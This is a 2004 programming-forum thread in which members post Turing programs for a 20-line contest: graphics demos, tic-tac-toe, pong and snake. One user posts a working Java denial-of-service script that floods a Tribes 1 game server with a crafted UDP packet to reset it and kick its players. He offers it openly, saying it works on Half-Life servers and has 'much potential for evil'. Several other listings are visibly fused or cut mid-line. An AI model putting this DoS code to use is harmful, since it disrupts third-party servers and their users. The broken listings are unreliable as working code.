
-----------------------------------
beard0
Sun Jun 20, 2004 4:47 pm

Turing Contest 255chr max - changed to 20 line max
-----------------------------------
Make the program that is voted "best" in 255 chars or less in Turing - white space not included in character count, so format it nicely.

Voting criteria will be purely up to the voter - whichever program they feel deserves the credit. :D 

Contest will close July 10th.

-----------------------------------
zylum
Sun Jun 20, 2004 5:44 pm


-----------------------------------
IMO it shouldnt be characters because then ppl will use var names like a b c etc... it should be either the size of the stand alone or the line count... 

i say it should be up to 20 lines...

-----------------------------------
Tony
Sun Jun 20, 2004 6:07 pm


-----------------------------------
i'm in favour of 20 line rule

-----------------------------------
beard0
Sun Jun 20, 2004 7:31 pm


-----------------------------------
20 lines, after F2 is hit, it is then.

-----------------------------------
bugzpodder
Sun Jun 20, 2004 8:13 pm


-----------------------------------
 I did not make this 
but this is so cool i decided it to cut it down to twenty lines (it was like forty)  again, i take no credit for the original code


var win1 : int := Window.Open ("graphics:500;500,noecho,nocursor")
var x, y, c, r : real := 250
loop
    for decreasing center : 250 .. -50 by 50
        r := 0
        for q : 1 .. 5
            for i : 1 .. 50000
                r += .001
                c := round ((x + round (((q - 1) * 50000 + i - 1) * .001 + cos (i) * r) + y + round (((q - 1) * 50000 + i - 1) * .001 + sin (i) * r)) / 40 + 40 + cos (round (((q - 1) * 50000 + i
                    - 1) * .001 + cos (i) * r)) + sin (round (((q - 1) * 50000 + i - 1) * .001 + sin (i) * r)) + q * 2)
                x := round (center + ((q - 1) * 50000 + i - 1) * .001 + cos (i) * r)
                y := round (center + ((q - 1) * 50000 + i - 1) * .001 + sin (i) * r)
                drawdot (round (x), round (y), round (c))
                drawdot (round (500 - x), round (y), round (c))
                drawdot (round (x), round (500 - y), round (c))
                drawdot (round (500 - x), round (500 - y), round (c))
            end for
        end for
    end for
end loop


-----------------------------------
Paul
Sun Jun 20, 2004 9:05 pm


-----------------------------------
Nice  :D  Now, is that just a cool visual effect or does it have some significance that I don't know about?

-----------------------------------
zylum
Mon Jun 21, 2004 12:30 pm


-----------------------------------
wow, that's really cool.  you guys remember the one me, catalyst, jonos and paulbian had? well jonos and paulbian didnt submit so i guess it was just me and catalyst.... 

mine:

setscreen ("graphics:220;140,offscreenonly")
const size := ceil (sqrt (2 * 220 ** 2))
var clr : array 1 .. size of int
for i : 1 .. size
    clr (i) := RGB.AddColor (i / (size * 2), i / (size * 2) + 0.35, 1)
end for
var wave : array 1 .. size div 2 of real
for i : 1 .. size div 2
    wave (i) := i / 5
end for
var c : int
drawfillbox (0, 0, maxx, maxy, clr (upper (clr) div 2))
loop
    for decreasing i : size div 2 .. 1
        wave (i) -= 0.7
        c := ceil ((sin (wave (i)) * (abs (size - i * 2.3)) / 3 + (size div 2)))
        drawfilloval (maxx div 2, round (maxy / 2 + c / 20) - 8, i, i div 2, clr (c))
    end for
    View.Update
end loop

catalysts: (bit of a rip off but still cool)

setscreen ("graphics:300;300,offscreenonly")
var vals : array 1 .. 150 of real
proc ColorSet (c1, c2, n : int)
    var r1, g1, b1, r2, g2, b2, p, p0, clr : real
    RGB.GetColor (c1, r1, g1, b1)
    RGB.GetColor (c2, r2, g2, b2)
    for i : 1 .. n
        p := (i / n) * 100
        p0 := 100 - p
        clr := RGB.AddColor ((((r1 * p) + (r2 * p0)) / 2) / 50, (((g1 * p) + (g2 * p0)) / 2) / 50, (((b1 * p) + (b2 * p0)) / 2) / 50)
    end for
end ColorSet
ColorSet (55, 1, 128)
ColorSet (53, 55, 88)
ColorSet (102, 53, 32)
for i : 1 .. 150
    vals (i) := i
end for
drawfillbox (0, 0, maxx, maxy, 7)
loop
    for decreasing i : 150 .. 1
        vals (i) -= 2
        drawfilloval (maxx div 2, 100 - round (sind (vals (i) * 5) * 15), i * 2, i, round (maxcolor - ((sind (vals (i) * 5) + 1) / 2) * 220))
    end for
    View.Update
end loop

maybe we should make this one have a theme too? maybe fire?

-----------------------------------
Catalyst
Mon Jun 21, 2004 1:19 pm


-----------------------------------
whee

var s, a, b, c, d, e, f, g, h, j : real := 300
fcn sa (var A : real, C : real) : boolean
    A := C
    result false
end sa
for x : 1 .. round (s * s)
    exit when sa (b, x div s) or sa (a, x - b * s) or sa (d, 3.5 / s * b - 1.75) or sa (c, 3.5 / s * a - 1.75) or sa (g, d) or sa (h, c)
    for i : 1 .. 75
        exit when sa (j, i) or (c - s / 2) ** 2 + (d - s / 2) ** 2 > 230 ** 2 or i > 75 or sa (e, d * d - c * c + g) or sa (f, d * c + c * d + h) or sa (d, e) or sa (c, f)
    end for
    drawdot (round (b), round (a), 15 + round (j / 75 * 15))
end for



-----------------------------------
beard0
Mon Jun 21, 2004 3:23 pm


-----------------------------------
Catalyst:
Nice job with the function so that you could put multiple calls on the same line, good thinking.

-----------------------------------
GlobeTrotter
Mon Jun 21, 2004 3:35 pm


-----------------------------------

var s, a, b, c, d, e, f, g, h, j := 300.0
fcn k (var A : real, C : real) : boolean
    A := C
    result false
end k
for x : 1 .. round (s * s)
    exit when k (b, x div s) or k (a, x - b * s) or k (d, 3.5 / s * b - 1.75) or k (c, 3.5 / s * a - 1.75) or k (g, d) or k (h, c)
    for i : 1 .. 75
        exit when k (j, i) or (c - s / 2) ** 2 + (d - s / 2) ** 2 > 52900 or i > 75 or k (e, d * d - c * c + g) or k (f, d * c + c * d + h) or k (d, e) or k (c, f)
    end for
    drawdot (round (b), round (a), 15 + round (j * 0.2))
end for

I made yours a bit smaller.

-----------------------------------
beard0
Wed Jun 23, 2004 7:46 am


-----------------------------------
Here's mine.  Didn't know it was going to be as interesting as it was, compressing it into a mere 20 lines.  Keep posting more programs!
View.Set ("offscreenonly,nobuttonbar,graphics:400;200,title:Curtains")
var c, t := 0
for i : 1 .. maxcolour
    if i < 85 then
        RGB.SetColour (i, (sign (42.5 - i) + 1) / 2 + (sign (i - 42.5) + 1) / 2 * (1 - (i mod 42.5) / 42.5), (sign (42.5 - i) + 1) / 2 * (i mod 42.5 / 42.5) + (sign (i - 42.5) + 1) / 2, 0)
    elsif i < 170 then
        RGB.SetColour (i, 0, (sign (127.5 - i) + 1) / 2 + (sign (i - 127.5) + 1) / 2 * (1 - (i mod 42.5) / 42.5), (sign (127.5 - i) + 1) / 2 * ((i mod 42.5) / 42.5) + (sign (i - 127.5) + 1) / 2)
    else
        RGB.SetColour (i, (sign (212.5 - i) + 1) / 2 * ((i mod 42.5) / 42.5) + (sign (i - 212.5) + 1) / 2, 0, (sign (212.5 - i) + 1) / 2 + (sign (i - 212.5) + 1) / 2 * (1 - (i mod 42.5) / 42.5))
    end if
end for
loop
    t := (t + 20) mod 600 % adjust the 20 for speed/smoothness (factor of 400)
    for x : 1 .. 200 * 200
        c := round ((abs (300 - t) + 20) * ln (x mod 200 + 2) / ln (x div 200 + 2))
        drawdot (x mod 200, x div 200, max (1, min (c, maxcolour - 1)))
        drawdot (399 - x mod 200, x div 200, max (1, min (c, maxcolour - 1)))
    end for
    View.Update
end loop

/**** This is what my if statements above accomplish, through mathematical "ifs", to save lines:
 **** (sign(x-y)+1)/2 is 1 when x>y and 0 when x 0 and ob = 0 and whatdotcolor ((x div 45) * 48 + 18, ((maxy - y) div 60) * -64 + 373) = white then
        count += 1
        locate (((maxy - y) div 60) * 4 + 2, (x div 45) * 6 + 3)
        whatchar (x div 45, (maxy - y) div 60) := chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O")))
        put chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O"))) ..
        exit when (whatchar (x div 45 - 2, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 2, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 2, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 2, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 2, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 2, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60))
    end if
    if count = 9 then
        count += 1
        exit
    end if
end loop
locate (12, 1)
put repeat (chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O"))) + "'s win!", 1 - count div 10) + repeat ("Tie game!", count div 10) + repeat (chr (10), 3)
Yes, maybe my "exit when" line is a little long - but it is one line!

-----------------------------------
Tony
Thu Jun 24, 2004 2:38 pm


-----------------------------------
wow beard0, that's impressive :lol: 
+20Bits

-----------------------------------
Delos
Thu Jun 24, 2004 3:07 pm


-----------------------------------
Hmf.

I shall have to counter that counter now...

BTW, I made a slight edit to the Black Jack up there...now to win you have to be above 16 points :D 

-----------------------------------
beard0
Thu Jun 24, 2004 3:51 pm


-----------------------------------
Delos: I pre-counter your counter counter:
TicTacToe is down to 17 lines:
var x, y, b, ob, count := 1
var whatchar : array - 2 .. 4, -2 .. 4 of char := init (" ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ")
put repeat (repeat ("     |     |" + chr (10), 3) + "-----+-----+-----" + chr (10), 2) + repeat ("     |     |" + chr (10), 3),"Welcome to Matt's TicTacToe Game, in 17 lines.",chr(10),"Use the mouse in turns with a friend to play the game.",chr(10),"Enjoy!"
loop
    ob := b
    mousewhere (x, y, b)
    if x < 135 and maxy - y < 180 and b > 0 and ob = 0 and whatdotcolor ((x div 45) * 48 + 18, ((maxy - y) div 60) * -64 + 373) = white then
        locate (((maxy - y) div 60) * 4 + 2, (x div 45) * 6 + 3)
        whatchar (x div 45, (maxy - y) div 60) := chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O")))
        put chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O"))) ..
        exit when (whatchar (x div 45 - 2, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 2, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 2, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 2, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 2, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 2, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60))
        count += 1
    end if
    exit when count = 10
end loop
locate (12, 1)
put repeat (chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O"))) + "'s win!", 1 - count div 10) + repeat ("Tie game!", count div 10) + repeat (chr (10), 3)

-----------------------------------
Delos
Thu Jun 24, 2004 4:17 pm


-----------------------------------
That's awsome beard0!

Ok, I present to you...
Flashy Pong in Twenty Lines!

var coords : array 1 .. 9 of real := init (100, 100, 0.1, 0.1, 7, 10, 0, 7, 0.3)
var ch : array char of boolean
loop
    Input.KeyDown (ch)
    if ch ('c') then
        coords (9) := -coords (9)
    end if
    coords (6) += coords (9)
    exit when coords (2) = maxy or (coords (1) >= coords (6) and coords (1) = 0 and coords (2) = 20 and my >= 20 and mx  (maxx - 15) and (bally > py2 and bally < (py2 + 50)), bvx, -bvx) or sa (ballx < 15 and (bally > py1 and bally < (py1 + 50)), bvx, -bvx) or sa (ballx > maxx, score1, score1 + 1) or sa (0 > ballx, score2, score2 + 1) or sa (ballx > maxx or 0 > ballx, bvx, Rand.Int (-2, 2)) or sa (ballx > maxx or 0 > ballx, bally, maxy div 2) or sa (ballx > maxx or 0 > ballx, ballx, maxx div 2) or sa (bally > maxy, bvy, -bvy) or sa (0 > bally, bvy, -bvy) or sa (true, ballx, ballx + bvx) or sa (true, bally, bally + bvy) or sa (chars ('q'), py1, py1 + 2) or sa (chars ('a'), py1, py1 - 2) or sa (chars ('o'), py2, py2 + 2) or sa (chars ('l'), py2, py2 - 2)
    View.Update
    delay (5)
    drawfillbox (0,0,maxx,maxy,7)
end loop 


-----------------------------------
Dan
Sat Jun 26, 2004 12:10 am


-----------------------------------
Another evil java one:

this one will reset any Tribes 1 game server thos unbaning you from it and kicking every one off for a few mins:

Tribes 1 DoS atack:


//Tribes 1 Server Hack
import java.net.*;
public class Thack
{
	public static void main(String args[]) throws Exception
	{
			int port = 28003;
			String add = "255.255.255.255"; 	
			
			InetAddress ipaddr=InetAddress.getByName(add);
			DatagramSocket mysocket=new DatagramSocket();
			byte sendbuf2[] = new byte[255];
			for(int i=0; i < 255; i++)
			{
				sendbuf2[i] = (byte)0x01;
			}	
			DatagramPacket sendPacket2 = new DatagramPacket( sendbuf2, sendbuf2.length, ipaddr, port);
			mysocket.send(sendPacket2);
	}
}



I think we need a new contest, java hacks in 20 lines  :twisted:

EDIT: of corse you put the server port and ip for the port and add vars ;)

-----------------------------------
zylum
Sat Jun 26, 2004 1:43 pm


-----------------------------------
lol, nice one catalyst!

im beggining to think that the exit when / function that always returns false strategy is a bit cheap (even though i used it myself  :oops: )

-----------------------------------
Tony
Sat Jun 26, 2004 2:35 pm


-----------------------------------
after studing catalyst's code for a bit, I'm resubmitting my snake


var chars : array char of boolean
var snake : array 1 .. 12 of int := init (1, 0, -1, -2, -3, -4, -5, -6, -7, -8, 1, 0)
function catalize (cond : boolean, var a : int, b : int) : boolean
    if cond then
        a := b
    end if
    result false
end catalize
loop
    View.Set ("graphics:500;500,offscreenonly,position:center,center,title:snake - score:" + intstr (snake (12)))
    Input.KeyDown (chars)
        exit when catalize(chars(chr(200)),snake(11),10) or catalize(chars(chr(203)),snake(11),-1) or catalize(chars(chr(205)),snake(11),1) or catalize(chars(chr(208)),snake(11),-10) or (snake(1) + snake(11)) > 100 or (snake(1) + snake(11)) < 0 or (snake(1) mod 10 = 0 and snake(11) = 1) or ((snake(1) - 1) mod 10 = 0 and snake(11) = -1) or catalize(true,snake(10),snake(9))or catalize(true,snake(9),snake(8))or catalize(true,snake(8),snake(7))or catalize(true,snake(7),snake(6))or catalize(true,snake(6),snake(5))or catalize(true,snake(5),snake(4))or catalize(true,snake(4),snake(3))or catalize(true,snake(3),snake(2))or catalize(true,snake(2),snake(1))or catalize(true,snake(1),snake(1)+snake(11)) or snake(1)=snake(2) or snake(1)=snake(3) or snake(1)=snake(4) or snake(1)=snake(5)or snake(1)=snake(6)or snake(1)=snake(7)or snake(1)=snake(8)or snake(1)=snake(9)or snake(1)=snake(10) or catalize(true,snake(12),snake(12)+1)
    Draw.FillBox (50, 0, 500, 500, green)
    for i : 1 .. 10
        Draw.FillBox ((snake (i) mod 10) * 50, (snake (i) div 10) * 50, (snake (i) mod 10) * 50 + 50, (snake (i) div 10) * 50 + 50, red)
        Draw.Box ((snake (i) mod 10) * 50, (snake (i) div 10) * 50, (snake (i) mod 10) * 50 + 50, (snake (i) div 10) * 50 + 50, black)
    end for
    View.Update
    delay (100)
end loop


-----------------------------------
Dan
Sat Jun 26, 2004 2:57 pm


-----------------------------------
An update on my Tribes server DoS, it will also work on hallflife servers and i think any game that is a mod of halflife (ie. counter strike). Also it may wrok on some other game servers like some of the unrealtrerment ones and some other games i have not test. There is much pointel for evil here  :wink:

-----------------------------------
Delos
Sat Jun 26, 2004 2:59 pm


-----------------------------------
!:(!

I am so not worthy...

...

But I will make myself thus!
Ha ha!

-----------------------------------
beard0
Sun Jun 27, 2004 6:58 pm


-----------------------------------
Catalyst: I'm very impressed with your pong game.  One improvement that you should be able to manage would be to have the ball bounce on its edge rather than its center.

-----------------------------------
Catalyst
Sun Jun 27, 2004 7:14 pm


-----------------------------------
quite simple to fix 
var px1, px2, py1, py2, ballx, bally, bvx, bvy, score1, score2 : int := -1
var chars : array char of boolean
fcn sa (cond : boolean, var b : int, a : int) : boolean
    if cond then
        b := a
    end if
    result false
end sa
loop
    View.Set ("graphics:600;300,position:center,center,offscreenonly,nobuttonbar,title:Score: "+intstr(score1+1)+" ][ "+intstr(score2))
    Input.KeyDown (chars)
    drawfilloval (ballx, bally, 10, 10, 42)
    drawfillbox (px1, py1, px1 + 15, py1 + 50, 103)
    drawfillbox (px2, py2, px2 + 15, py2 + 50, 103)
    exit when sa (true, px1, 0) or sa (true, px2, maxx - 15) or sa (bvx = 0, bvx, Rand.Int (1, 2)) or sa (ballx > (maxx - 15) and (bally > py2 and bally < (py2 + 50)), bvx, -bvx) or sa (ballx < 25 and (bally > py1 and bally < (py1 + 50)), bvx, -bvx) or sa (ballx > maxx-10, score1, score1 + 1) or sa (0 > ballx, score2, score2 + 1) or sa (ballx > maxx or 0 > ballx, bvx, Rand.Int (-2, 2)) or sa (ballx > maxx or 0 > ballx, bally, maxy div 2) or sa (ballx > maxx or 0 > ballx, ballx, maxx div 2) or sa (bally > maxy-10, bvy, -bvy) or sa (10 > bally, bvy, -bvy) or sa (true, ballx, ballx + bvx) or sa (true, bally, bally + bvy) or sa (chars ('q'), py1, py1 + 2) or sa (chars ('a'), py1, py1 - 2) or sa (chars ('o'), py2, py2 + 2) or sa (chars ('l'), py2, py2 - 2)
    View.Update
    delay (5)
    drawfillbox (0,0,maxx,maxy,7)
end loop 



-----------------------------------
TheFerret
Sun Jun 27, 2004 10:25 pm


-----------------------------------
Here is 2 of my short programs, I know one is a tid bit longer but it looks good...

%Travis Baker
%Was UBER Bored and wanted to make something sexy... o_0
View.Set ("graphics:1000;600")
var x, y,add : int := 0
var xx, yy : int := 500
var c : int := 10
var col, col1 := 1
for i : 1 .. 4000
    col1 := 5
    y += c
    yy += c
    col += 1
    col1 -= 1
    if col >= 255 then
        col := 1
    end if
    if col1 = 255 then
            col := 1
        end if
        drawbox (x, y, x1, y1, col) %= 255 then
            col := 1
        end if
        drawbox (p, p, r, r, col) %